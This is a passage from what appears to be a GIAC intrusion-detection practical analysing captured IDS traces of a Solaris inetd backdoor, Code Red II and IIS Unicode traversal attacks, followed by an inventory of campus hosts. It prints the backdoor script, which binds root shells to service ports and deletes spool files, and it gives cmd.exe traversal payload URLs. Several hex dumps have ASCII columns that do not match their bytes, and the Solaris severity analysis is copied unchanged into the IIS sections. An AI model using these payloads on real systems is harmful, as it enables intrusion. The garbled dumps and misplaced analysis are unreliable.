0x03b0   6d20 2d72 6620 2f76 6172 2f73 706f 6f6c        m.-rf./var/spool
0x03c0   2f6c 702f 7265 7175 6573 7473 2f2a 0a0a        /lp/requests/*..
0x03d0   2320 536f 6d65 2069 6e65 7464 2062 6163        #.Some.inetd.bac
0x03e0   6b64 6f6f 7273 2e20 556e 636f 6d6d 656e        kdoors..Uncommen
0x03f0   7420 7769 7365 6c79 2e2e 2e20 0a0a 726d        t.wisely......rm
0x0400   202d 6620 780a 6563 686f 2022 696e 6772        .-f.x.echo."ingr
0x0410   6573 6c6f 636b 2073 7472 6561 6d20 7463        eslock.stream.tc
0x0420   7020 6e6f 7761 6974 2072 6f6f 7420 2f62        p.nowait.root./b
0x0430   696e 2f73 6820 7368 202d 6922 203e 3e20        in/sh.sh.-i".>>.
0x0440   7820 090a 2365 6368 6f20 2263 6f75 7269        x...#echo."couri
0x0450   6572 2073 7472 6561 6d20 7463 7020 6e6f        er.stream.tcp.no
0x0460   7761 6974 2072 6f6f 7420 2f62 696e 2f73        wait.root./bin/s
0x0470   6820 7368 202d 6922 2020 2020 3e3e 2078        h.sh.-i"....>>.x
0x0480   0a23 6563 686f 2022 6674 702d 6461 7461        .#echo."ftp-data
0x0490   2073 7472 6561 6d20 7463 7020 6e6f 7761        .stream.tcp.nowa
0x04a0   6974 2072 6f6f 7420 2f62 696e 2f73 6820        it.root./bin/sh.
0x04b0   7368 202d 6922 2020 203e 3e20 780a 2365        sh.-i"...>>.x.#e
0x04c0   6368 6f20 2264 6f6d 6169 6e20 7374 7265        cho."domain.stre
0x04d0   616d 2074 6370 206e 6f77 6169 7420 726f        am.tcp.nowait.ro
0x04e0   6f74 202f 6269 6e2f 7368 2073 6820 2d69        ot./bin/sh.sh.-i
0x04f0   2220 2020 2020 3e3e 2078 0a23 6563 686f        ".....>>.x.#echo
0x0500   2022 7072 696e 7465 7220 7374 7265 616d        ."printer.stream
0x0510   2074 6370 206e 6f77 6169 7420 726f 6f74        .tcp.nowait.root
0x0520   202f 6269 6e2f 7368 2073 6820 2d69 2220        ./bin/sh.sh.-i".
0x0530   2020 203e 3e20 780a 696e 6574 6420 2d73        ...>>.x.inetd.-s
0x0540   2078 0a72 6d20 2d66 2078 200a 0a00             .x.rm.-f.x....
```

...and these are not the same source IP addresses. The machine is effectively
as seive now.

6. Correlations:

I have not seen any other students who have talked about this exploit. There
were, however, a number of reference web pages on various setuid exploits.

7. Evidence of active targeting:

None detected, although some must have occured since a number of exploits were launched against this host.

8. Calculate severity:

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

(1 + 5) - (2 + 4) = 1

Target Criticality:

This system was a user's desktop machine, so not very critical.

Attack Lethality:

This host was compromised with a vulnerability that has not been identified. Current speculation is that it was the Solaris /bin/login overflow, which is fairly new. Given that we did not detect the exploit and only picked up on the multiple, other hosts' attacks, I'd rate the lethality high.

System Countermeasures:

It has been identified that patches were not up to date on this machine, specifically the /bin/login patch for Solaris.

Network Countermeasures:

This attack and the number of others launch at the machine flag this machine triggerd more than half a dozen IDS signature matches. However, if the hacker
would have been careful and only launched exploits if the machine hadn't been
exploited yet, we might not have detected it.

9. Defensive recommendations:

Keep current on all system patches.

10. Multiple choice test question:

What constitutes a security incident?

A. When porn sites are accessed from office computers.

B. When a user detects suspicious activity.

C. When a systems administrator detects suspicious activity.

D. When the security policy is violated.

==========

\+ Detect 4 - IIS-Code-Red-II.EXE Exploit Attempt

1. Source of Trace:

This attack was detected by an Intrusion Detection System running outside the firewall of my organization. This sensor is running the IDS software Dragon.

2. Detect was generated by:

The Dragon IDS system matched this trace against the IIS-CODE-RED-II.EXE exploit signature. Here's the network trace:

```
01:09:32.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4272 >
MY.LOCAL.HOST.NET.http: P 128448092:128448172(80) ack 1904839857 win 16968
(DF)
0x0000   4500 0078 7d74 4000 7306 41cb 3fca 34fc        E..x}t@.s.A.?.4.
0x0010    XXXX XXXX 10b0 0050 07a7 f65c 7189 8cb1         .V.$...P...\q...
0x0020   5018 4248 03b3 0000 4745 5420 2f63 2f77        P.BH....GET./c/w
0x0030   696e 6e74 2f73 7973 7465 6d33 322f 636d        innt/system32/cm
0x0040   642e 6578 653f 2f63 2b64 6972 2048 5454        d.exe?/c+dir.HTT
0x0050   502f 312e 300d 0a48 6f73 743a 2077 7777        P/1.0..Host:.www
0x0060   0d0a 436f 6e6e 6e65 6374 696f 6e3a 2063        ..Connnection:.c
0x0070   6c6f 7365 0d0a 0d0a                            lose....
01:09:32.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4272: P 1:553(552) ack 80 win 8404 (DF)
0x0000   4500 0250 e272 4000 7c06 d1f4 XXXX XXXX        E..P.r@.|....V.$
0x0010   3fca 34fc 0050 10b0 7189 8cb1 07a7 f6ac        ?.4..P..q.......
0x0020   5018 20d4 adab 0000 4854 5450 2f31 2e31        P.......HTTP/1.1
0x0030   2034 3034 204e 6f74 2046 6f75 6e64 0d0a        .404.Not.Found..
0x0040   4461 7465 3a20 4d6f 6e2c 2031 3420 4a61        Date:.Mon,.14.Ja
0x0050   6e20 3230 3032 2030 363a 3133 3a32 3820        n.2002.06:13:28.
0x0060   474d 540d 0a53 6572 7665 723a 2041 7061        GMT..Server:.Apa
0x0070   6368 652f 312e 332e 3920 2857 696e 3332        che/1.3.9.(Win32
0x0080   290d 0a43 6f6e 6e65 6374 696f 6e3a 2063        )..Connection:.c
0x0090   6c6f 7365 0d0a 436f 6e74 656e 742d 5479        lose..Content-Ty
0x00a0   7065 3a20 7465 7874 2f68 746d 6c0d 0a0d        pe:.text/html...
0x00b0   0a3c 2144 4f43 5459 5045 2048 544d 4c20        .<!DOCTYPE.HTML.
0x00c0   5055 424c 4943 2022 2d2f 2f49 4554 462f        PUBLIC."-//IETF/
0x00d0   2f44 5444 2048 544d 4c20 322e 302f 2f45        /DTD.HTML.2.0//E
0x00e0   4e22 3e0a 3c48 544d 4c3e 3c48 4541 443e        N">.<HTML><HEAD>
0x00f0   0a3c 5449 544c 453e 3430 3420 4e6f 7420        .<TITLE>404.Not.
0x0100   466f 756e 643c 2f54 4954 4c45 3e0a 3c2f        Found</TITLE>.</
0x0110   4845 4144 3e3c 424f 4459 3e0a 3c48 313e        HEAD><BODY>.<H1>
0x0120   4e6f 7420 466f 756e 643c 2f48 313e 0a54        Not.Found</H1>.T
0x0130   6865 2072 6571 7565 7374 6564 2055 524c        he.requested.URL
0x0140   202f 632f 7769 6e6e 742f 7379 7374 656d        ./c/winnt/system
0x0150   3332 2f63 6d64 2e65 7865 2077 6173 206e        32/cmd.exe.was.n
0x0160   6f74 2066 6f75 6e64 206f 6e20 7468 6973        ot.found.on.this
0x0170   2073 6572 7665 722e 3c50 3e0a 3c50 3e41        .server.<P>.<P>A
0x0180   6464 6974 696f 6e61 6c6c 792c 2061 2034        dditionally,.a.4
0x0190   3034 204e 6f74 2046 6f75 6e64 0a65 7272        04.Not.Found.err
0x01a0   6f72 2077 6173 2065 6e63 6f75 6e74 6572        or.was.encounter
0x01b0   474d 540d 0a53 6572 7665 723a 2041 7061        ed.while.trying.
0x01c0   5055 424c 4943 2022 2d2f 2f49 4554 462f        to.use.an.ErrorD
0x01d0   202f 632f 7769 6e6e 742f 7379 7374 656d        ocument.to.handl
0x01e0   6865 2072 6571 7565 7374 6564 2055 524c        e.the.request..<
```

```
0x01f0   2f44 5444 2048 544d 4c20 322e 302f 2f45        HR>.<ADDRESS>Apa
0x0200   6c6f 7365 0d0a 436f 6e74 656e 742d 5479        che/1.3.9.Server
0x0210   6368 652f 312e 332e 3920 2857 696e 3332        .at...
0x0220   0a3c 2144 4f43 5459 5045 2048 544d 4c20        ..............P
0x0230   7065 3a20 7465 7874 2f68 746d 6c0d 0a0d        ort.80</ADDRESS>
0x0240   290d 0a43 6f6e 6e65 6374 696f 6e3a 2063        .</BODY></HTML>.
```

3. Probability the source address was spoofed:

Although this exploit could install a backdoor in a "one shot deal", like in the above example, seeing the errors (from above) could be helpful in determining if the exploit was successful or not. In this case, since no other
traffic other then web exploits are sent from the attacker and the fact that there are multiple attack sources, it could be the case that this address is spoofed. However, given the below sequence of packets, we can see that the source port of the attacker is slowly increasing as multiple outgoing requests are queued up and sent via the same socket:

```
01:09:32.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4221 >
MY.LOCAL.HOST.NET.http: P 126185384:126185456(72) ack 1904573612 win 16968
(DF)
01:09:32.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4221: P 1:545(544) ack 72 win 8412 (DF)
01:09:32.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4221: F 545:545(0) ack 72 win 8412 (DF)
01:09:32.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4221 >
MY.LOCAL.HOST.NET.http: R 126185456:126185456(0) win 0 (DF)
01:09:32.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4233 >
MY.LOCAL.HOST.NET.http: S 126764654:126764654(0) win 16384 <mss
1414,nop,nop,sackOK> (DF)
01:09:32.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4233: S 1904684436:1904684436(0) ack 126764655
win 8484 <mss 1460> (DF)
01:09:32.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4221 >
MY.LOCAL.HOST.NET.http: R 126185456:126185456(0) win 0
01:09:32.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4233 >
MY.LOCAL.HOST.NET.http: . ack 1 win 16968 (DF)
01:09:32.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4233 >
MY.LOCAL.HOST.NET.http: P 1:71(70) ack 1 win 16968 (DF)
01:09:32.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4233: P 1:543(542) ack 71 win 8414 (DF)
```

So, this address is probably not spoofed.

4. Description of Attack:

This is an attack against TCP port 80 httpd. It is an IIS Code Red II exploit
against IIS web servers that overflows the buffer in the ISAPI extension (idq.dll). CVE: CAN-2001-0500 (Code Red CVE is implied to include Code Red II,

since it is the root of the worm) found at the site:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0500

from http://www.cert.org/advisories/CA-2001-13.html
(CA-2001-19 and CA-2001-23 are also related)

5. Attack mechanism:

This attack begins by sending a URL to an IIS web server (if the hacker has done some reconniasance -- I personally recall a number of cases where code red I/II were launched against Apache and other non-vulnerable web servers.):

http://victim.net/scripts/%255c/winnt/system32/cmd.exe?/c+dir

and many other variations on this.

Here are the underlying mechanics of the exploit as described by CERT:

https://www.kb.cert.org/vuls/id/952336
Vulnerability Note VU#952336
Microsoft Index Server/Indexing Service used by IIS 4.0/5.0 contains unchecked buffer used when encoding double-byte characters

The only precondition for exploiting this vulnerability is that an IIS server is running with script mappings for Internet Data Administration (.ida) and Internet Data Query (.idq) files. The Indexing Services do not need to be running.

The buffer overrun occurs before any indexing functionality is requested. As a result, even though idq.dll is a component of Index Server/Indexing Service, the service would not need to be running in order for an attacker to exploit the vulnerability. As long as the script mapping for .idq or .ida files were present, and the attacker were able to establish a web session, he could exploit the vulnerability.

When this buffer overflow is exploited, a remote user may be able run arbitrary code on the victim machine with SYSTEM privileges (which the IIS service has by default).

6. Correlations:

I've referenced a number of alerts above. I have not found another student's reference to this exploit, nor have I found anyone else displaying a trace and
talking about it. Probably because the payload in the trace is fairly straight forward: a URL. There is, however, a nice writeup on SANS's web page about Code Red and Code Red II:
http://rr.sans.org/malicious/dragons.php
which goes into Code Red more than any other web site I have visited.

7. Evidence of active targeting:

This host was being beaten on by more than 20 unique IP addresses throwing everything at it. I'd say it was being actively targeted...and not very subtlely either. It was determined that this host was compromised because the attackers couldn't resist and put up an IRC server and started chatting away at 2am.

8. Calculate severity:

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

(1 + 5) - (2 + 4) = 1

Target Criticality:

This system was a user's desktop machine, so not very critical.

Attack Lethality:

This host was compromised with a vulnerability that has not been identified. Current speculation is that it was the Solaris /bin/login overflow, which is fairly new. Given that we did not detect the exploit and only picked up on the multiple, other hosts' attacks, I'd rate the lethality high. If you've
seen these words before, it is because this host was compromised along with 6 other hosts with similar detects and similar outcomes. Yes, it was a busy week.

System Countermeasures:

It has been identified that patches were not up to date on this machine, specifically the /bin/login patch for Solaris.

Network Countermeasures:

This attack and the number of others launch at the machine flag this machine triggerd more than half a dozen IDS signature matches. However, if the hacker
would have been careful and only launched exploits if the machine hadn't been
exploited yet, we might not have detected it.

9. Defensive recommendations:

Keep current on all system patches.

10. Multiple choice test question:

Which is an example of a Code Red II Exploit attempt

A. http://target/scripts/%..\/%..\/%..\/winnt/prog2.exe

B. http://target/scripts/../../../winnt/prog2.exe

C.
http://target/scripts/255c/255c/255c/c11c/c11c/c11c/winnt/system32/cmd.exe?/c+dir

D. http://target/scripts/%255c/winnt/system32/cmd.exe?/c+dir

==========

+ Detect 5 - IIS-UNICODE Exploit Attempt

1. Source of Trace:

This attack was detected by an Intrusion Detection System running outside the firewall of my organization. This sensor is running the IDS software Dragon.

2. Detect was generated by:

The Dragon IDS system matched this trace against the IIS-UNICODE exploit signature. Here's the network trace:

(Yes, this is the same source and destination host, just yet another Web exploit attempt.)

```
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 >
MY.LOCAL.HOST.NET.http: S 132582101:132582101(0) win 16384 <mss
1414,nop,nop,sackOK> (DF)
0x0000   4500 0030 7e1f 4000 7306 4168 3fca 34fc        E..0~.@.s.Ah?.4.
0x0010    XXXX XXXX 1111 0050 07e7 0ad5 0000 0000         .V.$...P........
0x0020   7002 4000 d6ef 0000 0204 0586 0101 0402        p.@.............
01:09:34.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4369: S 1905508666:1905508666(0) ack 132582102
win 8484 <mss 1460> (DF)
0x0000   4500 002c f572 4000 7c06 c118 XXXX XXXX        E..,.r@.|....V.$
0x0010   3fca 34fc 0050 1111 7193 c13a 07e7 0ad6        ?.4..P..q..:....
0x0020   6012 2124 d7c5 0000 0204 05b4                  `.!$........
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4363 >
MY.LOCAL.HOST.NET.http: R 132312483:132312483(0) win 0
0x0000   4500 0028 7e20 0000 7306 816f 3fca 34fc        E..(~...s..o?.4.
0x0010    XXXX XXXX 110b 0050 07e2 eda3 07e2 eda3         .V.$...P........
0x0020   5004 0000 6b39 0000                            P...k9..
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 >
MY.LOCAL.HOST.NET.http: . ack 1 win 16968 (DF)
0x0000   4500 0028 7e5d 4000 7306 4132 3fca 34fc        E..(~]@.s.A2?.4.
0x0010    XXXX XXXX 1111 0050 07e7 0ad6 7193 c13b         .V.$...P....q..;
0x0020   5010 4248 ce5e 0000                            P.BH.^..
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 >
MY.LOCAL.HOST.NET.http: P 1:146(145) ack 1 win 16968 (DF)
0x0000   4500 00b9 7e5e 4000 7306 40a0 3fca 34fc        E...~^@.s.@.?.4.
0x0010    XXXX XXXX 1111 0050 07e7 0ad6 7193 c13b         .V.$...P....q..;
0x0020   5018 4248 7485 0000 4745 5420 2f6d 7361        P.BHt...GET./msa
0x0030   6463 2f2e 2e25 3235 3563 2e2e 2f2e 2e25        dc/..%255c../..%
```

```
0x0040   3235 3563 2e2e 2f2e 2e25 3235 3563 2f2e        255c../..%255c/.
0x0050   2e25 6331 2531 632e 2e2f 2e2e 2563 3125        .%c1%1c../..%c1%
0x0060   3163 2e2e 2f2e 2e25 6331 2531 632e 2e2f        1c../..%c1%1c../
0x0070   7769 6e6e 742f 7379 7374 656d 3332 2f63        winnt/system32/c
0x0080   6d64 2e65 7865 3f2f 632b 6469 7220 4854        md.exe?/c+dir.HT
0x0090   5450 2f31 2e30 0d0a 486f 7374 3a20 7777        TP/1.0..Host:.ww
0x00a0   770d 0a43 6f6e 6e6e 6563 7469 6f6e 3a20        w..Connnection:.
0x00b0   636c 6f73 650d 0a0d 0a                         close....
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 >
MY.LOCAL.HOST.NET.http: P 1:146(145) ack 1 win 16968 (DF)
0x0000   4500 00b9 7e5e 4000 7306 40a0 3fca 34fc        E...~^@.s.@.?.4.
0x0010    XXXX XXXX 1111 0050 07e7 0ad6 7193 c13b        .V.$...P....q..;
0x0020   5018 4248 7485 0000 4745 5420 2f6d 7361        P.BHt...GET./msa
0x0030   6463 2f2e 2e25 3235 3563 2e2e 2f2e 2e25        dc/..%255c../..%
0x0040   3235 3563 2e2e 2f2e 2e25 3235 3563 2f2e        255c../..%255c/.
0x0050   2e25 6331 2531 632e 2e2f 2e2e 2563 3125        .%c1%1c../..%c1%
0x0060   3163 2e2e 2f2e 2e25 6331 2531 632e 2e2f        1c../..%c1%1c../
0x0070   7769 6e6e 742f 7379 7374 656d 3332 2f63        winnt/system32/c
0x0080   6d64 2e65 7865 3f2f 632b 6469 7220 4854        md.exe?/c+dir.HT
0x0090   5450 2f31 2e30 0d0a 486f 7374 3a20 7777        TP/1.0..Host:.ww
0x00a0   770d 0a43 6f6e 6e6e 6563 7469 6f6e 3a20        w..Connnection:.
0x00b0   636c 6f73 650d 0a0d 0a                         close....
01:09:34.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4369: P 1:600(599) ack 146 win 8339 (DF)
0x0000   4500 027f f672 4000 7c06 bdc5 XXXX XXXX        E....r@.|....V.$
0x0010   3fca 34fc 0050 1111 7193 c13b 07e7 0b67        ?.4..P..q..;...g
0x0020   5018 2093 218b 0000 4854 5450 2f31 2e31        P...!...HTTP/1.1
0x0030   2034 3034 204e 6f74 2046 6f75 6e64 0d0a        .404.Not.Found..
0x0040   4461 7465 3a20 4d6f 6e2c 2031 3420 4a61        Date:.Mon,.14.Ja
0x0050   6e20 3230 3032 2030 363a 3133 3a33 3020        n.2002.06:13:30.
0x0060   474d 540d 0a53 6572 7665 723a 2041 7061        GMT..Server:.Apa
0x0070   6368 652f 312e 332e 3920 2857 696e 3332        che/1.3.9.(Win32
0x0080   290d 0a43 6f6e 6e65 6374 696f 6e3a 2063        )..Connection:.c
0x0090   6c6f 7365 0d0a 436f 6e74 656e 742d 5479        lose..Content-Ty
0x00a0   7065 3a20 7465 7874 2f68 746d 6c0d 0a0d        pe:.text/html...
0x00b0   0a3c 2144 4f43 5459 5045 2048 544d 4c20        .<!DOCTYPE.HTML.
0x00c0   5055 424c 4943 2022 2d2f 2f49 4554 462f        PUBLIC."-//IETF/
0x00d0   2f44 5444 2048 544d 4c20 322e 302f 2f45        /DTD.HTML.2.0//E
0x00e0   4e22 3e0a 3c48 544d 4c3e 3c48 4541 443e        N">.<HTML><HEAD>
0x00f0   0a3c 5449 544c 453e 3430 3420 4e6f 7420        .<TITLE>404.Not.
0x0100   466f 756e 643c 2f54 4954 4c45 3e0a 3c2f        Found</TITLE>.</
0x0110   4845 4144 3e3c 424f 4459 3e0a 3c48 313e        HEAD><BODY>.<H1>
0x0120   4e6f 7420 466f 756e 643c 2f48 313e 0a54        Not.Found</H1>.T
0x0130   6865 2072 6571 7565 7374 6564 2055 524c        he.requested.URL
0x0140   202f 6d73 6164 632f 2e2e 2535 632e 2e2f        ./msadc/..%5c../
0x0150   2e2e 2535 632e 2e2f 2e2e 2535 632f 2e2e        ..%5c../..%5c/..
0x0160   c11c 2e2e 2f2e 2ec1 1c2e 2e2f 2e2e c11c        ..../....../....
0x0170   2e2e 2f77 696e 6e74 2f73 7973 7465 6d33        ../winnt/system3
0x0180   322f 636d 642e 6578 6520 7761 7320 6e6f        2/cmd.exe.was.no
0x0190   7420 666f 756e 6420 6f6e 2074 6869 7320        t.found.on.this.
0x01a0   7365 7276 6572 2e3c 503e 0a3c 503e 4164        server.<P>.<P>Ad
0x01b0   6469 7469 6f6e 616c 6c79 2c20 6120 3430        ditionally,.a.40
0x01c0   3420 4e6f 7420 466f 756e 640a 6572 726f        4.Not.Found.erro
```

```
0x01d0   7220 7761 7320 656e 636f 756e 7465 7265        r.was.encountere
0x01e0   6420 7768 696c 6520 7472 7969 6e67 2074        d.while.trying.t
0x01f0   6f20 7573 6520 616e 2045 7272 6f72 446f        o.use.an.ErrorDo
0x0200   466f 756e 643c 2f54 4954 4c45 3e0a 3c2f        cument.to.handle
0x0210   4845 4144 3e3c 424f 4459 3e0a 3c48 313e        .the.request..<H
0x0220   4e6f 7420 466f 756e 643c 2f48 313e 0a54        R>.<ADDRESS>Apac
0x0230   6865 2072 6571 7565 7374 6564 2055 524c        he/1.3.9.Server.
0x0240   202f 6d73 6164 632f 2e2e 2535 632e 2e2f        at....
0x0250   2e2e 2535 632e 2e2f 2e2e 2535 632f 2e2e        ..............Po
0x0260   c11c 2e2e 2f2e 2ec1 1c2e 2e2f 2e2e c11c        rt.80</ADDRESS>.
0x0270   2e2e 2f77 696e 6e74 2f73 7973 7465 6d          </BODY></HTML>.
01:09:34.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4369: F 600:600(0) ack 146 win 8339 (DF)
0x0000   4500 0028 f872 4000 7c06 be1c XXXX XXXX        E..(.r@.|....V.$
0x0010   3fca 34fc 0050 1111 7193 c392 07e7 0b67        ?.4..P..q......g
0x0020   5011 2093 ed2a 0000                            P....*..
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 >
MY.LOCAL.HOST.NET.http: R 132582247:132582247(0) win 0 (DF)
0x0000   4500 0028 7e72 4000 7306 411d 3fca 34fc        E..(~r@.s.A.?.4.
0x0010    XXXX XXXX 1111 0050 07e7 0b67 0000 0000        .V.$...P...g....
0x0020   5004 0000 42f1 0000                            P...B...
```

3. Probability the source address was spoofed:

Although this exploit could install a backdoor in a "one shot deal", like in the above example, seeing the errors (from above) could be helpful in determining if the exploit was successful or not. In this case, since no other
traffic other then web exploits are sent from the attacker and the fact that there are multiple attack sources, it could be the case that this address is spoofed. However, given the below sequence of packets, we can see that the source port of the attacker is slowly increasing as multiple outgoing requests are queued up and sent via the same socket:

```
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 >
MY.LOCAL.HOST.NET.http: S 132582101:132582101(0) win 16384 <mss
1414,nop,nop,sackOK> (DF)
01:09:34.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4369: S 1905508666:1905508666(0) ack 132582102
win 8484 <mss 1460> (DF)
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 >
MY.LOCAL.HOST.NET.http: . ack 1 win 16968 (DF)
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 >
MY.LOCAL.HOST.NET.http: P 1:146(145) ack 1 win 16968 (DF)
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 >
MY.LOCAL.HOST.NET.http: P 1:146(145) ack 1 win 16968 (DF)
01:09:34.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4369: P 1:600(599) ack 146 win 8339 (DF)
01:09:34.000000 MY.LOCAL.HOST.NET.http > adsl-63-202-52-
252.dsl.frsn01.pacbell.net.4369: F 600:600(0) ack 146 win 8339 (DF)
01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 >
MY.LOCAL.HOST.NET.http: R 132582247:132582247(0) win 0 (DF)
```

01:09:34.000000 adsl-63-202-52-252.dsl.frsn01.pacbell.net.4369 > MY.LOCAL.HOST.NET.http: R 132582247:132582247(0) win 0

So, this address is probably not spoofed.

4. Description of Attack:

This is an attack against TCP port 80 httpd. It is an IIS UNICODE exploit against IIS web servers with "malformed URLs that contain UNICODE encoded characters" (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0884)

CVE: CAN-2000-0884

5. Attack mechanism:

This attack begins by sending a URL to an IIS web server:

This is what the malformed URL looks like in a browser window:

http://target/msadc/%255c/%255c/%255c/%c1%1c/%c1%1c/%c1%1c/winnt/system32/cmd.exe?/c+dir

This command list the directory of C:\ if successful.

Description of other backdoor insertions using this vulnerability: http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=exploit&id=1806

This is also the vulnerability exploited by the Code Blue Worm.

Here are the underlying mechanics of the exploit as described by CERT:

http://www.kb.cert.org/vuls/id/111677

Vulnerability Note VU#111677

Microsoft IIS 4.0 / 5.0 vulnerable to directory traversal via extended unicode in url (MS00-078)

In this example:

http://www.example.org/data/../../../winnt/prog2.exe

will neither download prog2.exe nor attempt to execute it. However, if an intruder encodes the relative reference to prog2.exe using certain unicode characters, IIS fails to prevent access to it. If the relative reference is relative to a directory marked as executable, the reference will result in an attempt to execute the file. For example, by default, a reference to

http://www.example.org/scripts/../../../winnt/prog2.exe

will cause IIS to attempt to execute prog2.exe if the reference is encoded using certain unicode characters (not shown above). Other references can be

constructed to simply attempt to read files; such references do not need to be relative to a directory marked as executable.

Whether or not an attempt to read or execute a file will succeed depends on the access permissions IIS has with respect to that file. For the purposes of reading and executing files, IIS runs with the permissions of the IUSR_machinename account. NTFS can be used to reduce susceptibility to this vulnerability by setting permissions such that the IUSR_machinename account cannot access files outside the web folder. IIS servers using the FAT file system are unable to use file system permissions to mitigate against this vulnerability.

The resulting impact is that remote users can execute arbitrary commands with the privileges of the IUSR_machinename account.

6. Correlations:

I've referenced a number of alerts above. I've located, as expected, a number
of other student's expanding on this exploit:

http://www.giac.org/practical/Miika_Turkia_GCIA.html

Detected a false positive.

http://www.giac.org/practical/Akiva_Clark_GCIA.doc

His trace was very similar to the one I obtained, including the fact that the same host executed multiple web-based exploit attempts.

7. Evidence of active targeting:

Again, this host was being beaten on by more than 20 unique IP addresses throwing everything at it. This host has seen multiple web-based exploits from the same location (Reference 4. Code Red II Exploit Attempt from above).
As a result, you will see similarities in sections 7, 8, and 9.

8. Calculate severity:

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

(1 + 5) - (2 + 4) = 1

Target Criticality:

This system was a user's desktop machine, so not very critical.

Attack Lethality:

This host was compromised with a vulnerability that has not been identified. Current speculation is that it was the Solaris /bin/login overflow, which

is fairly new. Given that we did not detect the exploit and only picked up on the multiple, other hosts' attacks, I'd rate the lethality high. If you've
seen these words before, it is because this host was compromised along with 6 other hosts with similar detects and similar outcomes. Yes, it was a busy week.

System Countermeasures:

It has been identified that patches were not up to date on this machine, specifically the /bin/login patch for Solaris.

Network Countermeasures:

This attack and the number of others launch at the machine flag this machine triggerd more than half a dozen IDS signature matches. However, if the hacker
would have been careful and only launched exploits if the machine hadn't been
exploited yet, we might not have detected it.

9. Defensive recommendations:

Keep current on all system patches.

10. Multiple choice test question:

Adding the option "-X" in later versions of tcpdump does what to the packet data verses not having the option?

A. Converts unicode characters to hex code.

B. Converts binary codes to unicode.

C. Converts hex code to an octal dump.

D. Converts hex code to ascii characters.

3) "Analyze This"

As a security professional, it is always part of the job to roll up the sleaves and understand what is going on underneath the hood. If that means pouring through some data by hand, so be it. Security tools can only show part of the picture. Cross-referencing and looking for little clues in the low volume data can sometimes yield the most interesting detects. However, security and parsing tools do perform important macro trend analysis functions
that would be very hard with hand analysis on large data sets, such as the alert
and scan files. I did process the out of spec data files by hand since it was only a few megabytes. This actually proved useful since it was the contents of the packets that were of interest to me.

A) Understanding the relationship between machines and the services that they provide is very valuable in determining possible intentions of attackers. Once a hacker hones in on the important machines, that information could prove useful and give them clues on what the should do next. In some cases, it might be to target those machines. In some cases it might be best to avoid them on the assumption that they might be more closely watched in the logs.

Let's first examine who is running what in terms of the major services to see
if we can establish some sort of relationship between machines as well as important servers or networks.

The following hosts are running SMTP on port 25:
(It looks like subnet 253 has a high concentration of SMTP servers. Perhaps the university has spread out their servers for load distribution.)

MY.NET.6.7
MY.NET.6.34
MY.NET.6.35
MY.NET.145.76
MY.NET.145.85
MY.NET.145.160
MY.NET.253.42
MY.NET.253.43
MY.NET.253.51
MY.NET.253.52
MY.NET.253.53

The following hosts are running HTTP on port 80:
(Although there were a number of directed attacks and scans against port 80 on a number of other hosts, that is not guanrantee that a machine is running a web server on port 80.)

MY.NET.5.43
MY.NET.5.46
MY.NET.6.14
MY.NET.6.7
MY.NET.11.4
MY.NET.60.17
MY.NET.60.8
MY.NET.100.165
MY.NET.104.133
MY.NET.107.57
MY.NET.130.86
MY.NET.140.2
MY.NET.181.144
MY.NET.253.114
MY.NET.253.115
MY.NET.253.125

The following hosts are DNS servers:

(It is looking like the MY.NET.1.X subnet is perhaps UMBC's administration network with 4 DNS servers in it).

MY.NET.1.2
MY.NET.1.3
MY.NET.1.4
MY.NET.1.5
MY.NET.88.88
MY.NET.100.230
MY.NET.130.122
MY.NET.137.7
MY.NET.140.143

The following hosts are possilble NFS servers:

MY.NET.70.148
MY.NET.98.177

The following hosts are running NETBIOS fileshares:

MY.NET.17.46
MY.NET.223.82
MY.NET.225.46
MY.NET.75.124
MY.NET.90.25
MY.NET.97.192
MY.NET.97.246
MY.NET.98.113
MY.NET.98.149
MY.NET.99.205

B) This analysis consist of five days worth of data from 3 different types of sensor data: alerts, scans, and out of spec (oos). The three days I chose were across Christmas. This period, although lower in its overall volume, can yield some interesting and diverse detects. As I will show below, this period has been quite diverse. The following files comprise this analysis:

